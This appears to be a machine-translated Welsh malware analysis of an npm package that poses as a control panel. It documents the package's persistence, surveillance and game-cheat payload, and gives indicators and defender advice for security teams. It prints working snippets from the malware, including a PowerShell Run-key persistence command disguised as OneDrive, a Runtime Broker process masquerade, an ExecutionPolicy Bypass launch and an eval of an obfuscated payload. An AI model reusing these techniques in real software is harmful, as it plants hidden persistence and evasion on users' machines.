TL; DR
Y pecyn npm sensitifrwydd yn disgrifio ei hun fel "Panel Rheoli Sensitifrwydd." Ar Windows mae'n ymddwyn fel offeryn rheoli o bell a gwyliadwriaeth.
Ei bwynt mynediad, launcher.js, yn ailenwi ei broses ei hun i Runtime Broker, yn ysgrifennu gwerth allwedd Run autostart o'r enw OneDriveUpdate sy'n ail-lansio'r pecyn trwy VBScript cudd, yn sbarduno PowerShell gyda -ExecutionPolicy Bypass, ac yna'n gwerthuso llwyth tâl gweinydd wedi'i gymysgu 171 KB ochr yn ochr â modiwl brodorol 6.87 MB, sens.node.
Mae'n gwasanaethu panel rheoli paru ffonau ar borthladd TCP 3000 ac yn darllen URL bar cyfeiriad y porwr gweithredol trwy Windows UIAutomation, gan edrych am un fideo YouTube wedi'i godio'n galed.
Mae dau ran a oedd yn darllen fel blychau duon yn gynharach bellach wedi'u datrys. Y gweinydd wedi'i guddio, server.obf.js, yn defnyddio cynllun llinyn-arae obfuscator.io RC4; mae ail-weithredu ei ddatgodwr all-lein (heb weithredu JavaScript) yn adfer un pwynt terfynol allanol — https://izopi.com/check.php — ynghyd ag allwedd gyhoeddus RSA wedi'i hymgorffori a ddefnyddir i wirio ymatebion trwydded wedi'u llofnodi.
Y modiwl brodorol, sens.node, nid yw wedi'i bacio: mae ei dabl mewnforio a'i linynnau mewnosodedig yn ei adnabod fel gorchudd yn y gêm DirectX 11 / Dear ImGui sy'n darparu nodweddion aimbot, ESP (wall-hacio), a sbardunbot, wedi'u gyrru gan chwistrelliad proses o bell a darlleniadau/ysgrifennu cof.
Mae llinynnau y tu mewn iddo yn cyfeirio at endidau cerbydau a lleoliadau map sy'n gyson â GTA V / FiveM. Y pecyn npm yw'r lapio dosbarthu a pharhad o amgylch y modiwl brodorol hwnnw.
Y signal diffiniol yw gweithredol, nid technegol: gwthiodd un cyhoeddwr anhysbys tua saith deg o fersiynau o un pecyn - 2.5.0 drwy 2.5.69 — dros ychydig ddyddiau, pob un yn cario'r un lansiwr.
Does dim gosodiadau hooksDim ond pan fydd y pecyn wedi'i gychwyn y mae'r llwyth tâl yn rhedeg.
Yr Ymosodiad: Sut Mae'n Gweithio
Mae sensitivity yn cludo deg ffeil. Mae'r package.json yn brin: dim maes storfa, dim trwydded, prif alias a dau alias bin (sensitivity, sens) i gyd yn pwyntio at launcher.js, a sgript cychwyn o nod launcher.js. Nid oes unrhyw ôl-osod na chyn-osod. Nid oes dim yn tanio ar npm install. Mae'r ymddygiad a ddisgrifir isod yn rhedeg pan fydd defnyddiwr yn cychwyn y pecyn - trwy'r shim bin, y sgript cychwyn, neu ofyniad.
Mae'r tarball yn cario'r lansiwr, gweinydd wedi'i guddio, y modiwl brodorol, sgript Visual Basic, a chyfeiriadur cyhoeddus/gwe ar gyfer y panel rheoli. launcher.js yw'r trefnydd darllenadwy; mae'r rhesymeg sy'n bwysig yn ystod amser rhedeg yn byw yn y ddau blob y mae'n eu llwytho - gweinydd wedi'i guddio a modiwl brodorol wedi'i lunio, y ddau wedi'u datrys isod.
Masg proses a diweddarwr OneDrive ffug
Yn gynnar yn y gweithrediad mae launcher.js yn gosod ei enw proses ei hun ddwywaith:
javascript process.title = 'Runtime Broker'; Mae Runtime Broker yn broses Windows gyfreithlon (RuntimeBroker.exe) sy'n cyfryngu caniatâd apiau. Mae ailenwi proses Node i gyd-fynd ag ef yn golygu nad yw cipolwg cyflym ar y Rheolwr Tasgau yn dangos dim byd anarferol.
Mae Persistence wedi'i ysgrifennu trwy PowerShell yn hytrach nag API cofrestrfa uniongyrchol:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Enw'r gwerth cychwyn awtomatig yw OneDriveUpdate, ac nid yw'n pwyntio at y pecyn yn uniongyrchol. Mae'n pwyntio at wscript.exe sy'n rhedeg y OneDrive.Standalone.Updater.vbs sydd wedi'i fwndelu. Mae'r sgript honno'n ail-lansio node launcher.js mewn ffenestr gudd. Mae enw'r allwedd Run ac enw'r ffeil VBScript ill dau yn benthyca brandio Microsoft, felly mae'r cofnod cychwyn awtomatig yn darllen fel tasg OneDrive arferol.
PowerShell gyda osgoi polisi gweithredu
Mae'r lansiwr yn anfon negeseuon at PowerShell dro ar ôl tro. Y ffeil sy'n cael ei hamlygu gan sganwyr fel ffeil hanfodol yw lansio .ps1 a gynhyrchwyd gyda'r polisi gweithredu wedi'i analluogi:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Mae ExecutionPolicy Bypass yn dileu'r gwiriad llofnodi sgriptiau lleol ar gyfer yr alwad honno. Mae'r sgriptiau a gynhyrchir yn trin y gwaith gwyliadwriaeth porwr a chanfod ffenestri a ddisgrifir yn yr adran nesaf.
Y gweinydd wedi'i guddio a'r modiwl brodorol
Ar ôl sefydlu, mae launcher.js yn llwytho ac yn gweithredu ei lwyth tâl go iawn:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));Mae server.obf.js yn 171 KB o _0x-array obfuscation — y patrwm JavaScript lle mae pob llinyn a dynodwr yn cael eu disodli gan fynegai i mewn i arae wedi'i gymysgu, yna'n cael ei ddad-gyfeirio yn ystod amser rhedeg. Y cynllun yw'r amrywiad RC4 a gynhyrchwyd gan obfuscator.io: mae un swyddogaeth dadgodio base64 yn dadgodio cofnod arae ac yna'n ei RC4-ddatgryptio gydag allwedd fesul galwad. Mae ail-weithredu'r dadgodio hwnnw mewn sgript ar wahân — rhedeg yr ail-weithredu yn unig dros yr arae llinyn 821 cofnod a dynnwyd, byth JavaScript y pecyn ei hun — yn ei ddad-ddirwyn yn lân. Mae'r hyn sy'n dod i'r amlwg yn gymedrol ond yn ddacisive: un URL allanol, https://izopi.com/check.php`, wedi'i aseinio i gysonyn LICENSE_URL; RSA PUBLIC_KEY_PEM` wedi'i fewnosod; mae'r panel lleol yn llwybro /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, a /trigger/status; a'r llinynnau child_process, crypto, a [Sensivity] sens.node wedi'u llwytho — yr olaf yw'r union linell log y mae'r lansiwr yn ei hailysgrifennu i fodiwl rhaglen wedi'i lwytho. Y pwynt terfyn yw gwiriad trwydded: mae'r cleient yn postio dynodwr (mae'r gweinydd wedi'i guddio yn fformatio llinyn ID Discord: %s) ac mae'r allwedd RSA yn gwirio ymateb wedi'i lofnodi gan y gweinydd.
Mae sens.node yn ychwanegiad brodorol wedi'i lunio 6.87 MB, ac nid yw wedi'i bacio — mae entropi'r adran yn eistedd ar 5.6–6.6 ac mae'r tablau mewnforio ac allforio PE yn gyfan, felly mae ei alluoedd yn ddarllenadwy'n uniongyrchol. Mae'n allforio napi_register_module_v1, y standard Pwynt mynediad N-API nod, felly mae'r gweinydd a werthuswyd yn ei lwytho gyda gofyniad plaen. Ei dabl mewnforio yw'r tell. O KERNEL32 mae'n tynnu OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, a Process32First/NextW — y set ganonaidd ar gyfer lleoli proses arall, dyrannu cof y tu mewn iddi, a darllen neu ysgrifennu'r cof hwnnw. O USER32 mae'n tynnu GetAsyncKeyState, GetKeyState, mouse_event, a SetCursorPos; mae'n cysylltu d3d11.dll, D3DCOMPILER_43, a dwmapi ar gyfer gorchudd ar y sgrin, a'r set WINHTTP lawn ar gyfer galwadau rhwydwaith. Mae ei linynnau mewnosodedig yn enwi'r set nodweddion heb amwysedd: Galluogi Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, a'r faner Annwyl ImGui Annwyl ImGui 1.91.3 WIP. Mae llinynnau lleoliad ac endid fel Grapeseed Medical Clinic a'r geirfa cerbyd-ESP yn gyson â GTA V / FiveM.
Mae'r rhaniad yn fwriadol i bob pwrpas: dim ond y rhannau y mae sganiwr yn eu darllen yn hawdd sydd gan y launcher.js darllenadwy — persistence, masquerade, yr alwad eval ei hun — tra bod y drysu yn cuddio'r un gwesteiwr allanol sef y cysylltiadau amser rhedeg, ac mae'r ffeil ddeuaidd yn dal y gorchudd gêm a'r rhesymeg chwistrellu proses. Y lansiwr yw'r gragen denau, archwiliadwy; mae'r gweinydd drysu yn cuddio hunaniaeth y rhwydwaith; y modiwl brodorol yw'r llwyth tâl. Rydym yn disgrifio mewnforion a llinynnau'r ffeil ddeuaidd fel rhai wedi'u darllen; nid ydym yn casglu pwrpas y gweithredwr ohonynt.
Panel rheoli paru ffôn ar borthladd 3000
Mae'r lansiwr yn rheoli gweinydd gwe lleol ar borthladd TCP 3000 ac yn ei drin fel singleton. Mae'n holi am wrandäwr presennol ac yn ei glirio cyn rhwymo:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Mae'r panel ar gael yn http://localhost:3000, gyda URL wrth gefn LAN wedi'i godio'n galed o http://192.168.1.16:3000. Mae'r cyfeiriadur public/ ac ymddygiad y panel yn gyson â llif paru QR: mae ffôn yn sganio cod ac yn rhwymo i'r gwesteiwr fel teclyn rheoli o bell. Nid oes unrhyw barth gorchymyn a rheoli allanol yn ymddangos mewn testun clir yn y lansiwr - ond, fel y mae'r dad-ddrysu uchod yn ei ddangos, mae un yn bresennol yn y gweinydd wedi'i ddrysu: y terfynbwynt trwydded izopi.com. Mae'r panel ei hun yn lleol ac wedi'i gwmpasu gan LAN; yr unig westeiwr allanol yw'r gwiriad trwydded hwnnw.
Mae model goruchwyliwr/gweithiwr datgysylltiedig yn cadw'r broses yn fyw. Mae'r lansiwr yn ailgychwyn ei hun gyda baneri amgylchedd SENSIVITY_SUPERVISOR a SENSIVITY_WORKER, pob plentyn yn rhedeg yn gudd, felly mae lladd un broses yn gadael corff gwarchod i'w hailgychwyn.
Gwyliadwriaeth Porwr a'r YouTube Signal
Yr ymddygiad mwyaf penodol yw monitro porwyr. Mae launcher.js yn adeiladu PowerShell sy'n gyrru Windows UIAutomation i ddarllen bar cyfeiriad porwr sy'n rhedeg:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', Mae ValuePattern yn dychwelyd cynnwys testun elfen UI. Wedi'i gymhwyso i reolaeth golygu bar cyfeiriad porwr, mae'n dychwelyd yr URL y mae'r dioddefwr yn ei weld ar hyn o bryd - heb estyniad porwr, heb gyffwrdd â'r proffil ar y ddisg, a heb fachyn API. Mae'r sgript a gynhyrchir yn ailadrodd rhestr $browserNames ac yn echdynnu URL neu deitl ffenestr pa bynnag borwr sydd yn y blaendir.
Mae'r URL hwnnw'n cael ei brofi yn erbyn un targed wedi'i godio'n galed:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Mae'r lansiwr yn holi ar ddolen tair eiliad am ffenestr porwr sy'n dangos YouTube, ac mae'r PowerShell a gynhyrchir yn cario pâr Get-YouTubeBrowser / Test-TargetYouTubeUrl sy'n cyfateb i'r ID fideo hwnnw. Mae'r effaith arsylwadwy yn ddwy ran: darllenir yr URL pori gweithredol oddi ar sgrin y dioddefwr, a chanfyddir rhyngweithio'r gwesteiwr ag un fideo YouTube penodol. Rydym yn disgrifio'r mecanwaith a'r targed; nid ydym yn casglu cymhelliad ohonynt.
Y darlleniad yn y bar cyfeiriad yw'r hyn y mae'r sganiwr yn ei labelu'n sensitive_data_enumeration — ffynhonnell Process::env ac UIAutomation sy'n bwydo amser rhedeg sy'n gallu defnyddio rhwydwaith. Mae'n edrych yn ddiniwed ar ei ben ei hun ac mae'n troi'n wyliadwriaeth dim ond ar ôl i gylchred bywyd y data gael ei olrhain o ffynhonnell UIAutomation i'r gweinydd wedi'i guddio.
Amserlen ac Esblygiad Fersiynau
Nid uwchlwythiad un-tro yw sensitifrwydd. Mae gan gyfrif y cyhoeddwr tua saith deg o fersiynau cyhoeddedig o'r pecyn sengl hwn, ac roedd rhai newydd yn cyrraedd yn ystod y ffenestr adolygu. Mae'r lansiwr yn tyfu nodwedd wrth nodwedd ar draws y llinell 2.5.x tra bod ei barhad a'i lwyth-pwys yn aros yn sefydlog.
| Dyddiad (UTC) | Fersiynau a welwyd | Cyflwr y lansiwr |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Lansydd panel QR sylfaenol; Parhad allwedd rhedeg; gwerthusiad o weinydd wedi'i guddio. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Yr un olion bysedd; atal olrhain consol. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Yn ychwanegu targed ymgysylltu YouTube wedi'i binio wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Ailgyhoeddi llenwi bylchau ar draws yr ystod; corff gwarchod goruchwyliwr/gweithiwr. |
Mae darllen y lansiwr ar draws cynrychiolwyr wedi'u lawrlwytho — 2.5.0, 2.5.36, a 2.5.69 — yn dangos pedair haen. Mae'r adeiladau cynharaf yn cario'r lansiwr paru QR sylfaenol. O 2.5.33 ymlaen mae cynaeafwr bar cyfeiriadau UIAutomation yn ymddangos. O 2.5.58 ymlaen mae haen rheoli-goruchwyliwr yn cael ei hychwanegu. O 2.5.64 ymlaen mae'r corff gwarchod goruchwyliwr/gweithiwr datgysylltiedig yn cwblhau'r set. Drwy gydol y cyfnod, nid yw pedwar peth byth yn newid: yr allwedd OneDriveUpdate Run, y gollyngwr OneDrive.Standalone.Updater.vbs, y server.obf.js wedi'i werthuso, a'r modiwl brodorol sens.node.
Mae ton 2026-06-05 yn nodedig oherwydd ei bod wedi ailgyhoeddi'r rhifau fersiwn isel — 2.5.0 hyd at 2.5.15 — sy'n eistedd islaw'r fersiynau a gadarnhawyd ddyddiau ynghynt. Yr effaith yw llinell 2.5.x gyfagos ar y gofrestrfa, pob fersiwn yn cario'r un lansiwr.
Dangosyddion cyfaddawd
Darllenwyd yr holl ddangosyddion isod yn uniongyrchol o'r pecyn tarball. Dim ond dolen yn ôl ac un cyfeiriad LAN preifat sydd gan y lansiwr darllenadwy; adferwyd yr un enw gwesteiwr allanol, izopi.com, trwy ddad-ddrysu server.obf.js all-lein.
| math | Dangosydd | Nodiadau |
|---|---|---|
| pecyn | npm:sensivity (≈70 o fersiynau, 2.5.0-2.5.69) | Cyhoeddwr pecyn sengl; dim storfa; heb drwydded. |
| Ffeil | launcher.js | Trefnydd darllenadwy; prif darged a tharged bin. |
| Ffeil | server.obf.js (≈171 KB) | Llwyth tâl llinynnol RC4 obfuscator.io, wedi'i lwytho trwy eval(fs.readFileSync(...)). |
| Ffeil | sens.node (≈6.87 MB) | Ychwanegiad Nod PE32+ x86-64 N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Ffeil | OneDrive.Standalone.Updater.vbs | Ail-lansiwr cudd (node launcher.js). |
| Rhwydwaith | https://izopi.com/check.php | Adferwyd y terfyn trwydded/awdurdodi o'r gweinydd wedi'i guddio; mae allwedd gyhoeddus RSA wedi'i hymgorffori yn gwirio ymatebion. |
| Gallu | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Chwistrelliad prosesau o bell a gallu darllen/ysgrifennu cof. |
| Gallu | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Gorchudd gêm DirectX 11 / ImGui yn gweithredu nodweddion aimbot, ESP, a triggerbot. |
| Y Gofrestrfa | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Gwerth cychwyn awtomatig yn pwyntio at wscript.exe a'r lansiwr VBScript. |
| Proses | process.title = 'Runtime Broker' | Yn esgus bod yn broses gyfreithlon Windows Runtime Broker. |
| Ymddygiadol | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Osgoi polisi gweithredu a ddefnyddir ar gyfer sgriptiau PowerShell a gynhyrchir. |
| Ymddygiadol | UIAutomation ValuePattern darllen bar cyfeiriad y porwr | Yn darllen URL ffenestr porwr yn y blaendir. |
| Ymddygiadol | ID fideo targed wJWta2lO0LwPôl YouTube 3 eiliad | Signal monitro ymgysylltiad wedi'i binio. |
| Rhwydwaith | http://localhost:3000, wrth gefn http://192.168.1.16:3000 | Panel rheoli paru QR wedi'i amlygu'n lleol ac ar y LAN. |
| Yr amgylchedd | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Baneri cydlynu prosesau gwarchodwr ar wahân. |
Priodoliad, Effaith, ac Amddiffynwyr
Cyhoeddir y pecyn gan un cyfrif npm y mae ei e-bost datganedig yn gyfeiriad Gmail heb ei wirio. Mae gan y cyfrif sgôr enw da cofrestrfa negyddol iawn, dim ond y pecyn hwn y mae'n ei gynnal a'i gyhoeddi, ac nid oes ganddo ystorfa ffynhonnell gysylltiedig. Nid ydym wedi gwirio perchnogaeth yr e-bost ac rydym yn priodoli'r ymgyrch i gyfrif y cyhoeddwr, nid i unrhyw unigolyn a enwir. Nid oes gan y lansiwr seilwaith testun clir, ond mae'r un gwesteiwr allanol bellach yn hysbys: mae'r gweinydd wedi'i guddio yn cysylltu ag izopi.com i wirio trwydded, ac mae'r modiwl brodorol - wedi'i ddarllen o'i dabl mewnforio a'i linynnau yn hytrach na chyfarwyddyd wrthdroi - yn orchudd gêm sy'n chwistrellu i mewn ac yn darllen cof proses arall.
Mae'r effaith weladwy yn disgyn ar ddefnyddwyr Windows sy'n gosod ac yn rhedeg Sensivity gan ddisgwyl cyfleustodau panel rheoli. Ar y gwesteiwyr hynny mae'r pecyn yn sefydlu parhad cychwyn awtomatig wedi'i guddio fel tasg OneDrive, yn ailenwi ei hun i efelychu proses system, yn darllen URL beth bynnag y mae'r defnyddiwr yn ei bori, ac yn sefydlu panel paru sy'n rhwymo'r peiriant i reolaeth o bell dros y rhwydwaith lleol. Mae'r corff gwarchod goruchwyliwr/gweithiwr yn golygu nad yw lladd proses sengl yn ei ddileu; mae'r cofnod allwedd Run yn goroesi ailgychwyniadau. Nid yw macOS a Linux yn cael eu targedu gan y lansiwr - mae'r llwybrau parhad, PowerShell, ac UIAutomation ar gyfer Windows yn unig.
Mae'r duedd sy'n werth tynnu sylw ati i newid fersiwn o saith deg. Mae ailgyhoeddi un pecyn dwsinau o weithiau mewn ychydig ddyddiau, gan gynnwys llenwi rhifau fersiwn o dan y rhai sydd eisoes wedi'u tynnu i lawr, yn cadw copi byw ar y gofrestrfa rhwng tynnu fersiwn ac yn rhwystro rhestrau blocio sydd wedi'u pinio gan fersiynau. Nid yw cofnod rhestr blocio ar gyfer sensitivity@2.5.61 yn gwneud dim yn erbyn sensitivity@2.5.3 a ailgyhoeddwyd y diwrnod canlynol.
Gall amddiffynwyr weithredu ar y canlynol:
- Rhwystro'r sensitifrwydd i enw pecyn yn llwyr mewn rhestrau caniatáu dirprwy-cofrestrfa a CI. Mae pinio fersiynau unigol yn colli i'r cyflymder ailgyhoeddi; yr enw yw'r dangosydd parhaol.
- Chwiliwch am werth Rhedeg o'r enw OneDriveUpdate y mae ei ddata yn galw wscript.exe yn erbyn .vbs mewn llwybr fesul defnyddiwr. Nid yw'r diweddarwr OneDrive dilys wedi'i gofrestru fel hyn.
- Rhybudd ar broses Node.js y mae ei process.title yn Runtime Broker. Y brocer go iawn yw RuntimeBroker.exe, nid amser rhedeg Node.
- Nodwch nôl amser gosod npm o becynnau sy'n cludo ychwanegiad .node wedi'i lunio ynghyd ag eval(fs.readFileSync(…)) o ffeil .obf.js brawd neu chwaer. Y paru hwnnw - deuaidd brodorol afloyw wedi'i lwytho wrth ymyl llwyth tâl testun wedi'i gymysgu - yw'r arwydd strwythurol yma, yn annibynnol ar unrhyw IOC llinynnol.
- Trin unrhyw wrandäwr sy'n rhwymo'n lleol ar borthladd 3000 a achosir gan broses Node annisgwyl fel un amheus ar bwyntiau terfyn Windows a reolir.
- Rhwystro neu rybuddio am geisiadau allanol i izopi.com gan ddatblygwyr neu westeiwyr defnyddwyr terfynol; dyma unig bwynt terfynol allanol y pecyn, a gyrhaeddir yn /check.php o'r gweinydd wedi'i guddio.
- Ar gyfer unrhyw ychwanegiad .node sydd wedi'i fwndelu, archwiliwch ei dabl mewnforio cyn ymddiried ynddo. Mae'r cyfuniad OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread yn chwistrelliad proses o bell waeth beth mae'r pecyn yn honni ei wneud; yma mae'n eistedd wrth ymyl gorchudd Direct3D a llinynnau aimbot/ESP/triggerbot.
Ar gyfer dadansoddiad statig pipelines, mae siâp y gollfarn yn wydn ar draws y newid fersiwn: proffil gosod nad yw'n rhan o'r rhwydwaith, aseiniad teitl proses i enw system-proses hysbys, ysgrifennu allwedd Run trwy PowerShell, ac asesiad o ffeil a ddarllenwyd o'r ddisg. Nid yw'r un o'r rheini'n dibynnu ar barth, IP, na rhif fersiwn y gall yr ailgyhoeddi nesaf ei gylchdroi i ffwrdd.
Cyfeiriadau
[npm: sensitifrwydd] – tudalen gofrestrfa ar gyfer y llinell fersiwn pecyn a drafodir yma; yn amodol ar gael ei dynnu i lawr.
